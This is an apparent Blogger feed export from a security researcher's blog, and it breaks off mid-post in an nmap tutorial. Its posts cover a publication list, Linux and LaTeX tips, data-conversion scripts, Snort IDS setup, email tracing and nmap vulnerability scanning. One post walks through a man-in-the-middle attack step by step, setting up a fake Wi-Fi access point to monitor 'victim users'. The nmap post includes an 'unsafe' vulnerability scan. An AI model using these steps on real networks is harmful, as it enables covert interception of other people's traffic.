tag:blogger.com,1999:blog-52670910083581940582024-03-13T06:40:42.637+08:00Kailas PatilPhD National University of SingaporeUnknownnoreply@blogger.comBlogger70125tag:blogger.com,1999:blog-5267091008358194058.post-43408347237672132992015-08-23T11:59:00.000+08:002015-08-23T12:12:12.893+08:00Research Publications<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Research Publications:</b><br />
<br />
<a href="https://drive.google.com/open?id=0B5FQoJdw1sdRMWViLVNBcVl3Unc" target="_blank">A Measurement Study of the Content Security Policy on Real-World Applications</a> [<a href="https://drive.google.com/open?id=0B5FQoJdw1sdRMWViLVNBcVl3Unc" target="_blank">PDF</a>]<br />
Kailas Patil and Braun Frederik<br />
International Journal of Network Security (IJNS),<br />
Vol.18, No.2, PP.383-392, Mar. 2016<br />
<br />
<br />
<a href="http://ieeexplore.ieee.org/xpl/articleDetails.jsp?arnumber=5961724" target="_blank">Towards Fine-Grained Access Control in JavaScript Contexts</a> [<a href="https://www.comp.nus.edu.sg/~liangzk/papers/icdcs11.pdf" target="_blank">PDF</a>]<br />
Kailas Patil, Xinshu Dong, Xiaolei Li, Zhenkai Liang, and Xuxian Jiang.<br />
In the 31st IEEE International Conference on Distributed Computing Systems (ICDCS),<br />
ISSN : 1063-6927<br />
E-ISBN : 978-0-7695-4364-2<br />
Print ISBN: 978-1-61284-384-1<br />
DOI: 10.1109/ICDCS.2011.87<br />
<br />
<br />
<a href="https://drive.google.com/open?id=0B5FQoJdw1sdRTU1IZEVVWjByaWs" target="_blank">Survey on Access Control Mechanism in Android</a> [<a href="https://drive.google.com/open?id=0B5FQoJdw1sdRTU1IZEVVWjByaWs" target="_blank">PDF</a>]<br />
Shekhar K. Shende, Kailas R. Patil<br />
International Journal of Electrical, Electronics and Computer Systems (IJEECS),<br />
ISSN (Online): 2347-2820, Volume -3, Issue-4 2015<br />
<br />
<br />
<a href="https://drive.google.com/open?id=0B5FQoJdw1sdRVmdyWVg3eEI3eDA" target="_blank">Survey on Privacy Preserving Mobile Health Monitoring System using Cloud Computing</a> [<a href="https://drive.google.com/open?id=0B5FQoJdw1sdRVmdyWVg3eEI3eDA" target="_blank">PDF</a>]<br />
Abhijeet S. Kurle, Kailas R. Patil<br />
International Journal of Electrical, Electronics and Computer Systems (IJEECS)<br />
ISSN (Online): 2347-2820, Volume -3, Issue-4 2015<br />
<br />
<br />
<a href="http://cups.cs.cmu.edu/soups/2013/posters/soups13_posters-final1.pdf" target="_blank">Poster: UserCSP-User Specified Content Security Policies</a> [<a href="http://cups.cs.cmu.edu/soups/2013/posters/soups13_posters-final1.pdf" target="_blank">PDF</a>]<br />
Kailas Patil, T Vyas, F Braun, M Goodwin, Z Liang<br />
In the proceedings of the Symposium On Usable Privacy and Security (SOUPS), 2013<br />
<br />
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-80222935179424016082015-01-23T22:37:00.003+08:002015-01-23T22:37:54.552+08:00How to convert a .rpm file into a .deb file <div dir="ltr" style="text-align: left;" trbidi="on">
To convert a .rpm file into a .deb file you need following packages:<br />
<br />
<span style="color: blue;">$ sudo apt-get install -y rpm alien libnuma1</span><br />
<br />
Now the next step is to convert all the rpm files in the current folder into deb file format, and then install them with dpkg. Create a shell file <span style="color: red;">rpmtodeb.sh</span> and write follwing lines into it.<br />
<br />
<pre style="background-color: #f7f7f7; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; box-sizing: border-box; color: #333333; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 14px; line-height: 1.45; margin-bottom: 16px; overflow: auto; padding: 16px; word-wrap: normal;"><code style="background: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; box-sizing: border-box; display: inline; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; line-height: inherit; margin: 0px; padding: 0px; word-break: normal; word-wrap: normal;">#/bin/bash
for f in *.rpm; do
fakeroot alien --to-deb $f
done
for f in *.deb; do
sudo dpkg -i $f
done</code></pre>
<br />
Now, change the shell file permissions to make it executable<br />
<br />
<span style="color: blue;">$ sudo chmod 777 rpmtodeb.sh</span><br />
<span style="color: red;"><br /></span>
Run the shell file to start the conversion<br />
<br />
<span style="color: blue;">$ sh rpmtodeb.sh</span><br />
<br />
<br />
<br />
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-20361906025100190072013-11-01T15:44:00.001+08:002014-01-22T21:15:19.918+08:00latexdiff a diff tool for Latex documents<div dir="ltr" style="text-align: left;" trbidi="on">
IMHO, If you want a diff of two latex file then latexdiff is a reliable tool to do that.<br />
It also supports included <i>.tex</i> files in the main operating file.<br />
<br />
To install latexdiff:<br />
$ <span style="color: #666666;">sudo apt-get install latexdiff</span><br />
<br />
Invoke latexdiff using following command:<br />
$ <span style="color: #666666;">latexdiff -</span><span style="color: blue;">-flatten</span><span style="color: #666666;"> /path/to/old-version/main.tex /path/to/new-version/main.tex > difffile.tex</span><br />
<br />
(the <span style="color: blue;">--flatten</span> argument is used to recursively get inputs from any included .tex files.)<br />
<br />
To generate PDF file use following commands:<br />
$ pdflatex difffile<br />
$ bibtex difffile<br />
$ pdflatex difffile<br />
<br />
Hope this helps!</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-41823831643495706422013-09-17T19:30:00.002+08:002014-04-16T12:10:15.773+08:00Steps To add Repositories in kali<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">Open Terminal</span><span class="Apple-tab-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; white-space: pre;"> </span><br />
<br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;" />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">type:</span><br />
<b style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;"><span style="color: #666666;">nano /etc/apt/sources.list</span></b><br />
<br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;" />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">Copy the links below and replace with the displayed links in the File.</span><br />
<br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;" />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb http://http.kali.org/ /kali main contrib non-free</span><span class="Apple-tab-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; white-space: pre;"> </span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb http://http.kali.org/ /wheezy main contrib non-free</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb http://http.kali.org/kali kali-dev main contrib non-free</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb http://http.kali.org/kali kali-dev main/debian-installer</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb-src http://http.kali.org/kali kali-dev main contrib non-free</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb http://http.kali.org/kali kali main contrib non-free</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb http://http.kali.org/kali kali main/debian-installer</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb-src http://http.kali.org/kali kali main contrib non-free</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb http://security.kali.org/kali-security kali/updates main contrib non-free</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb-src http://security.kali.org/kali-security kali/updates main contrib non-free</span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">deb http://repo.kali.org/kali kali-bleeding-edge main</span><br />
<br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;" />
<br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;" />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">Press Ctrl+x then press Enter</span><span class="Apple-tab-span" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; white-space: pre;"> </span><br />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">Then it will ask for file name....just press Enter</span><br />
<br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;" />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">Then in terminal type:</span><br />
<span style="background-color: white; color: #666666; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;"><b>apt-get update</b></span><br />
<br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;" />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">Task Accomplished.</span><br />
<br style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;" />
<span style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;">By: QJ</span></div>
Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-5267091008358194058.post-77472801019100968972013-08-08T02:03:00.001+08:002014-08-21T01:29:16.005+08:00Man-in-the-Middle (MITM) Attack using Wireless Bridging on Kali Linux<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<div dir="ltr" style="text-align: left;" trbidi="on">
In this tutorial we will perform MITM attack.<br />
To perform Man-in-the-Middle (MITM) attack, we will create a fake access point on or laptop and monitor traffic of victim users connected to our laptop. We forward traffic of victim users to the servers therefore, they will be able to access resources on the network. Whereas all there access occurs through our laptop, hence we will be able to see all their communications.<br />
<br />
<b>Steps to perform MITM attack:</b><br />
<br />
1. First check for wireless devices on your computer.<br />
<span style="color: #666666;">$ airmon-ng</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-ndy_1AX9Rcc/UgMP28UykTI/AAAAAAAACOI/nfQYjwxgGTw/s1600/airmon-ng.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-ndy_1AX9Rcc/UgMP28UykTI/AAAAAAAACOI/nfQYjwxgGTw/s320/airmon-ng.png" height="118" width="320" /></a></div>
<br />
<br />
2. Now create a Wireless monitoring interfaces:<br />
<span style="color: #666666;">$ airmon-ng start wlan0</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-duc_a0ufFcg/UgMP9imVBHI/AAAAAAAACOQ/CFjMtdoTLJ0/s1600/airmon-ng+wlan0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-duc_a0ufFcg/UgMP9imVBHI/AAAAAAAACOQ/CFjMtdoTLJ0/s320/airmon-ng+wlan0.png" height="180" width="320" /></a></div>
<br />
<br />
3. Monitor what's on the wireless network such as access points in the neighborhood, wireless devices, channel used, etc<br />
<span style="color: #666666;">$ airodump-ng mon0</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-7dwvdlhKEj4/UgMQEVZOUpI/AAAAAAAACOY/aTCF_doCGmc/s1600/airodump-ng.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-7dwvdlhKEj4/UgMQEVZOUpI/AAAAAAAACOY/aTCF_doCGmc/s320/airodump-ng.png" height="89" width="320" /></a></div>
<br />
<br />
4. Create and launch our own access point (fake access point)<br />
<span style="color: #666666;">$ airbase-ng --essid VIIT -c 11 mon0</span><br />
SSID of our access point will be "<span style="color: #666666;">VIIT</span>" and it is running on channel <span style="color: #666666;">11</span>.<br />
<br />
5. Verfiy details of logical access point interface<br />
<span style="color: #666666;">$ ifconfig at0</span><br />
<br />
6. Create a bridge interface<br />
<span style="color: #666666;">$ brctl addbr myBridge</span><br />
<br />
7. Now, associate real interfaces (eth0 and at0) to bridge interfaces<br />
<span style="color: #666666;">$ brctl addif myBridge eth0</span><br />
<span style="color: #666666;">$ brctl addif myBridge at0</span><br />
<br />
8. Verfiy details of new bridge interface<br />
<span style="color: #666666;">$ brctl show</span><br />
<br />
9. Remove the IP address of eth0 and at0 interfaces<br />
<span style="color: #666666;">$ ifconfig eth0 0.0.0.0 up</span><br />
<span style="color: #666666;">$ ifconfig at0 0.0.0.0 up</span><br />
<br />
10. Assign IP address to bridge interface we have created earlier. You can use your old eth0 IP address or assign any IP free address on your network<br />
<span style="color: #666666;">$ ifconfig myBridge 10.10.10.1/8 up</span><br />
<br />
11. Enable IP forwarding on your computer. In other word, your computer will work as a router. IT will perform NATing.<br />
<span style="color: #666666;">$ echo 1 > /proc/sys/net/ipv4/ip_forward</span><br />
<br />
12. Now use Wireshark tool and monitor traffic of users associated with your fake wireless Access point.<br />
<div>
<br /></div>
</div>
</div>
Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-5267091008358194058.post-17609153811335531392013-07-29T18:05:00.000+08:002014-04-16T12:10:32.688+08:00Python script to convert JSON file into CSV file for easy uploading on MySQL database<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<div dir="ltr" style="text-align: left;" trbidi="on">
This tutorial show how to use a python script that converts a JSON file data into a CSV file. And how to export CSV file data into Sqlite database using a python script.<br />
<br />
The JSON file data is stored in the following format:<br />
<br />
<span style="color: #666666;">{"URL": "http://www.zoovision.com/apps-tv.html", "headerName": null, "Domain": "www.zoovision.com", "headerValue": null},</span><br />
<span style="color: #666666;">{"URL": "https://support.google.com/zagat/", "headerName": null, "Domain": "support.google.com", "headerValue": null},</span><br />
<br />
<br />
<b>Python Script File to convert a JSON file data into a CSV file: (<a href="https://docs.google.com/file/d/0B5FQoJdw1sdRMVdKNlBQUllWUmc/edit?usp=sharing" target="_blank">json2csv.py</a>)</b><br />
<br />
<span style="color: purple;">import fileinput</span><br />
<span style="color: purple;">import json</span><br />
<span style="color: purple;">import csv</span><br />
<span style="color: purple;">import sys</span><br />
<span style="color: purple;"><br /></span>
<span style="color: purple;">l = []</span><br />
<span style="color: purple;">for line in fileinput.input():</span><br />
<span style="color: purple;"> l.append(line)</span><br />
<span style="color: purple;">myjson = json.loads(''.join(l))</span><br />
<span style="color: purple;">keys = {}</span><br />
<span style="color: purple;">for i in myjson:</span><br />
<span style="color: purple;"> for k in i.keys():</span><br />
<span style="color: purple;"> keys[k] = 1</span><br />
<span style="color: purple;">mycsv = csv.DictWriter(sys.stdout, fieldnames=keys.keys(),</span><br />
<span style="color: purple;"> quoting=csv.QUOTE_MINIMAL)</span><br />
<span style="color: purple;">mycsv.writeheader()</span><br />
<span style="color: purple;">for row in myjson:</span><br />
<span style="color: purple;"> mycsv.writerow(row)</span><br />
<br />
<br />
$ <span style="color: red;">python json2csv.py fx23.json > out.csv</span><br />
<br />
After executing above command, the output in the CSV file will be as follows:<br />
<span style="color: #666666;">http://www.zoovision.com/apps-tv.html,,www.zoovision.com,</span><br />
<span style="color: #666666;">https://support.google.com/zagat/,,support.google.com,</span><br />
<br />
Now Suppose, You want to append a string at the end of each line. In other words, You want to add one more column to the CSV file, then following awk command can be used:<br />
<br />
$ <span style="color: red;">awk -F"," 'BEGIN { OFS = "," } {$4="Fx23,"; print}' out.csv > output.csv</span><br />
<br />
It will produce output as follows:<br />
<span style="color: #666666;">http://www.zoovision.com/apps-tv.html,,www.zoovision.com,Fx23,</span><br />
<span style="color: #666666;">https://support.google.com/zagat/,,support.google.com,Fx23,</span><br />
<br />
<br />
<b>Python Script file to convert CSV file data into Sqlite Database: (<a href="https://docs.google.com/file/d/0B5FQoJdw1sdRZnpaT25MdXBlZUk/edit?usp=sharing" target="_blank">csv2sqlite.py</a>)</b><br />
<br />
<span style="color: purple;">import csv, sqlite3</span><br />
<span style="color: purple;">conn = sqlite3.connect("mydbrecord.sqlite")</span><br />
<span style="color: purple;">curs = conn.cursor()</span><br />
<span style="color: purple;">curs.execute("CREATE TABLE PCFC ( id INTEGER PRIMARY KEY, url TEXT, headerName TEXT, domain TEXT, headerValue TEXT, userAgent Text);")</span><br />
<span style="color: purple;">counter = 1</span><br />
<span style="color: purple;">reader = csv.reader(open('output.csv', 'r'), delimiter=',')</span><br />
<span style="color: purple;">for row in reader:</span><br />
<span style="color: purple;"> to_db = [counter, unicode(row[0], "utf8"), unicode(row[1], "utf8"), unicode(row[2], "utf8"), unicode(row[3], "utf8")]</span><br />
<span style="color: purple;"> curs.execute("INSERT INTO PCFC (id, url, headerName, domain, headerValue) VALUES (?, ?, ?, ?, ?);", to_db)</span><br />
<span style="color: purple;"> counter += 1</span><br />
<span style="color: purple;">conn.commit()</span><br />
<div>
<br /></div>
<div>
Save above file and run following command to create a database.</div>
<div>
<br /></div>
$ <span style="color: red;">python csv2sqlite.py</span><br />
<span style="color: red;"><br /></span>
It will create a Sqlite database file with name <span style="color: blue;">mydbrecord.sqlite</span> in the current working directory. </div>
</div>
Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-5267091008358194058.post-20439001582349208472013-07-24T22:57:00.003+08:002014-04-16T12:10:42.644+08:00Tutorial to Configure and Use Snort IDS on Windows XP<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<div dir="ltr" style="text-align: left;" trbidi="on">
This tutorial explain steps to configure Snort on Widnows XP machine and how to use it for detection of attacks.<br />
<br />
<br />
<b>Steps:</b><br />
1. Download Snort from "<b>http://www.snort.org/</b>" website.<br />
<br />
2. Also download <b>Rules</b> from the same website. You need to sign up to get rules for registered users.<br />
3. Click on the <span style="color: #666666;">Snort_(version-number)_Installer.exe</span> file to install it. By-default it will install snort in the "<b>C:\Snort</b>" directory.<br />
<br />
4. Extract downloaded Rules file: <span style="color: #666666;">snortrules-snapshot-(number).tar.gz</span><br />
<span style="color: #666666;"><br /></span>
5. Copy all files from the "<b>rules</b>" directory of the extracted folder and paste them into "<b>C:\Snort\rules</b>" directory.<br />
<br />
6. Copy "<b>snort.conf</b>" file from the "<b>etc</b>" directory of the extracted folder and paste it into "<b>C:\Snort\etc</b>" directory. Overwrite existing file if there is any.<br />
<br />
7. Open command prompt (<span style="color: #666666;">cmd.exe)</span> and navigate to directory "<b>C:\Snort\bin</b>" directory.<br />
<br />
8. To execute snort in sniffer mode use following command:<br />
<b>snort -dev -i 2</b><br />
<b>-i</b> indicate interface number.<br />
<b>-dev</b> is used to run snort to capture packets.<br />
<br />
To check interface list use following command:<br />
<b>snort -W</b><br />
<br />
9. To execute snort in IDS mode, we need to configure a file "<b>snort.conf</b>" according to our network environment.<br />
<br />
10. Set up network address we want to protect in snort.conf file. To do that look for "<span style="color: #666666;">HOME_NET</span>" and add your IP address.<br />
<span style="color: red;">var HOME_NET 10.1.1.17/8</span><br />
<span style="color: red;"><br /></span>
11. You can also set addresses or DNS_SERVERS, if you have any. otherwise go to the next step.<br />
<br />
12. Change <span style="color: #666666;">RULE_PATH</span> variable with the path of rules directory.<br />
<span style="color: red;">var RULE_PATH c:\snort\rules</span><br />
13. Change the path of all libraries with the name and path on your system. or change path of <span style="color: red;">snort_dynamicpreprocessor</span> variable.<br />
<span style="color: red;">sor file C:\Snort\lib\snort_dynamiccpreprocessor\sf_dcerpc.dll</span><br />
You need to do this to all library files in the "<b>C:\Snort\lib</b>" directory. The old path might be something like: "<span style="color: #666666;">/usr/local/lib/...</span>". you need to replace that path with you system path.<br />
<br />
14. Change path of the "<b>dynamicengine</b>" variable value in the "<b>snort.conf</b>" file with the path of your system. Such as:<br />
<span style="color: red;"> dynamicengine C:\Snort\lib\snort_dynamicengine\sf_engine.dll</span><br />
<span style="color: red;"><br /></span>
15 Add complete path for "<span style="color: #666666;">include classification.config</span>" and "<span style="color: #666666;">include reference.config</span>" files.<br />
<span style="color: red;"> include c:\snort\etc\classification.config</span><br />
<span style="color: red;"> include c:\snort\etc\reference.config</span><br />
<span style="color: red;"><br /></span>
16. Remove the comment on the line to allow <b>ICMP</b> rules, if it is alredy commented.<br />
<span style="color: red;"> include $RULE_PATH/icmp.rules</span><br />
<span style="color: red;"><br /></span>
17. Similary, remove the comment of <b>ICMP-info</b> rules comment, if it is already commented.<br />
<span style="color: red;">include $RULE_PATH/icmp-info.rules</span><br />
<span style="color: red;"><br /></span>
18 To add log file to store alerts generated by snort, search for "output log" test and add following line:<br />
<span style="color: red;">output alert_fast: snort-alerts.ids</span><br />
<span style="color: red;"><br /></span>
19. Comment whitelist <span style="color: red;">$WHITE_LIST_PATH/white_list.rules</span> and <span style="color: red;">blacklist $BLACK_LIST_PATH/black_list.rules lines</span>. Also ensure that you add change the line above $WHITE_LIST_PATH<br />
Change <span style="color: red;">nested_ip inner , \</span> to <span style="color: red;">nested_ip inner #, \</span><br />
<span style="color: red;"><br /></span>
20. Comment following lines:<br />
<span style="color: red;">#preprocessor normalize_ip4</span><br />
<span style="color: red;">#preprocessor normalize_tcp: ips ecn stream</span><br />
<span style="color: red;">#preprocessor normalize_icmp4</span><br />
<span style="color: red;">#preprocessor normalize_ip6</span><br />
<span style="color: red;">#preprocessor normalize_icmp6</span><br />
<br />
21. Save the "<b>snort.conf</b>" file and close it.<br />
<br />
22. Go to the "<b>C:\Snort\log</b>" directory and create a file: <span style="color: red;">snort-alerts.ids</span><br />
<span style="color: red;"><br /></span>
23. To start snort in IDS mode, run following command:<br />
<span style="color: red;"> snort -c c:\snort\etc\snort.conf -l c:\snort\log -i 2 </span><br />
<br />
Above command will generate log file that will not be readable without using a tool. To read it use following command:<br />
C:\Snort\Bin\> <span style="color: red;">snort -r ..\log\log-filename</span><br />
<br />
To generate Log files in ASCII mode use following command while running snort in IDS mode:<br />
<span style="color: red;"> snort -A console -i2 -c c:\Snort\etc\snort.conf -l c:\Snort\log -K ascii</span><br />
<span style="color: red;"><br /></span>
24. Scan the computer running snort from another computer using PING or launch attack. Then check <b>snort-alerts.ids</b> file the <b>log</b> folder.<br />
<br />
You can also download my modified <b>snort.conf</b> file <a href="https://docs.google.com/file/d/0B5FQoJdw1sdRRmd1TTkydnlldEE/edit?usp=sharing" target="_blank">here</a>. It works with <b>Snort_2_9_5_Installer.exe</b></div>
</div>
Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-5267091008358194058.post-31202332390241417152013-07-24T22:03:00.001+08:002014-04-16T12:10:51.259+08:00How to Find Email Address Source?<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<div dir="ltr" style="text-align: left;" trbidi="on">
You might receive a lot of emails from your friends. In this tutorial we will learn how to verify that the email you received is actually from your friend and not a fake email. Attackers can easily send fake email using websites such as "emkei.cz".<br />
<br />
<b>Steps:</b><br />
1. Select an email that you want to trace.<br />
2. Get its full headers. For example in GMail you need to click "<span style="color: #666666;">More</span>" options button next to "<span style="color: #666666;">reply</span>" button and select "<b>Show original</b>" option.<br />
3. Copy all headers from top till the <span style="color: #666666;">To</span> field.<br />
4. Open either "<b>http://whatismyipaddress.com/trace-email</b>" and paste headers into the headers text-area.<br />
5. Click on the "<b>Get Source</b>" button to get IP address of the source.<br />
6. You can use WhoIs service (<b>http://whois.net/</b>) to get more information about IP address. Copy paste IP address found in the step 5 and Click on the "<span style="color: #666666;">Go</span>" button to get more information about the source of the IP address.<br />
<div>
<br /></div>
</div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-51480346142534723552013-07-19T17:15:00.001+08:002014-04-16T12:10:59.358+08:00Nmap usage to perform Vulnerability Assesments<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Georgia, Times New Roman, serif;">NSE Documentation Portal [<a href="http://nmap.org/nsedoc/">http://nmap.org/nsedoc/</a>] provides a detail guide on nmap scripts usage.</span><br />
<span style="font-family: Georgia, Times New Roman, serif;"><br />
Using nmap Scripts we can perform vulnerability assessments. </span><br />
<span style="font-family: Georgia, Times New Roman, serif;"><br />
In this tutorial I will show a few examples of nmap scripts. </span><br />
<span style="font-family: Georgia, Times New Roman, serif;"><br />
1. "<span style="color: red;">smb-check-vulns</span>" script to check Windows RPC vulnerabilities. </span><br />
<span style="font-family: Georgia, Times New Roman, serif;">Checks for vulnerabilities:</span><br />
<ul>
<li><span style="font-family: Georgia, Times New Roman, serif;">MS08-067, a Windows RPC vulnerability</span></li>
<li><span style="font-family: Georgia, Times New Roman, serif;">Conficker, an infection by the Conficker worm</span></li>
<li><span style="font-family: Georgia, Times New Roman, serif;">Unnamed regsvc DoS, a denial-of-service vulnerability I accidentally found in Windows 2000</span></li>
<li><span style="font-family: Georgia, Times New Roman, serif;">SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)</span></li>
<li><span style="font-family: Georgia, Times New Roman, serif;">MS06-025, a Windows Ras RPC service vulnerability</span></li>
<li><span style="font-family: Georgia, Times New Roman, serif;">MS07-029, a Windows Dns Server RPC service vulnerability</span></li>
</ul>
<span style="font-family: Georgia, Times New Roman, serif;"><b>Example:</b></span><br />
<div>
<span style="font-family: Georgia, Times New Roman, serif;">$ <span style="color: red;">nmap --script smb-check-vulns.nse -p445 <targetHostIP></span></span></div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;">Or</span></div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;">$ <span style="color: red;">sudo nmap --script smb-check-vulns.nse --script-args=unsafe=1 -p445 </span></span><span style="font-family: Georgia, 'Times New Roman', serif;"><span style="color: red;"><targetHostIP></span></span></div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;"><b>Output:</b></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia, Times New Roman, serif;">Host script results:</span><span style="font-family: Georgia, Times New Roman, serif;"><span style="color: #666666;">| smb-check-vulns:<br /> </span></span><span style="font-family: Georgia, Times New Roman, serif;"><span style="color: #666666;">| MS08-067: NOT VULNERABLE</span></span><span style="font-family: Georgia, Times New Roman, serif;"><span style="color: #666666;">| Conficker: Likely CLEAN</span></span><span style="font-family: Georgia, Times New Roman, serif;"><span style="color: #666666;">| regsvc DoS: regsvc DoS: NOT VULNERABLE</span></span><span style="font-family: Georgia, Times New Roman, serif;"><span style="color: #666666;">| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE</span></span><span style="font-family: Georgia, Times New Roman, serif;"><span style="color: #666666;">| MS06-025: NO SERVICE (the Ras RPC service is inactive)</span></span><span style="font-family: Georgia, Times New Roman, serif;"><span style="color: #666666;">|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)</span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia, Times New Roman, serif;">2. "<span style="color: red;">nbstat</span>" script to retrieve the target's NetBIOS names and MAC address.</span></div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;">By default, the script displays the name of the computer and the logged-in user; if the verbosity is turned up.</span></div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;"><br /></span></div>
<div>
<b><span style="font-family: Georgia, Times New Roman, serif;">Example:</span></b></div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;">$ <span style="color: red;">sudo nmap -sU --script nbstat.nse -p137 10.15.10.30</span></span></div>
<div>
<span style="font-family: Georgia, Times New Roman, serif; font-size: smaller;"><br /></span></div>
<div style="text-align: left;">
<span style="font-size: smaller;"><span style="font-family: Georgia, Times New Roman, serif;"><b>Output: </b></span></span></div>
<div>
<div>
<span style="font-family: Georgia, Times New Roman, serif;">Host script results:</span></div>
<div>
<span style="color: #666666; font-family: Georgia, Times New Roman, serif;">| nbstat: </span></div>
<div>
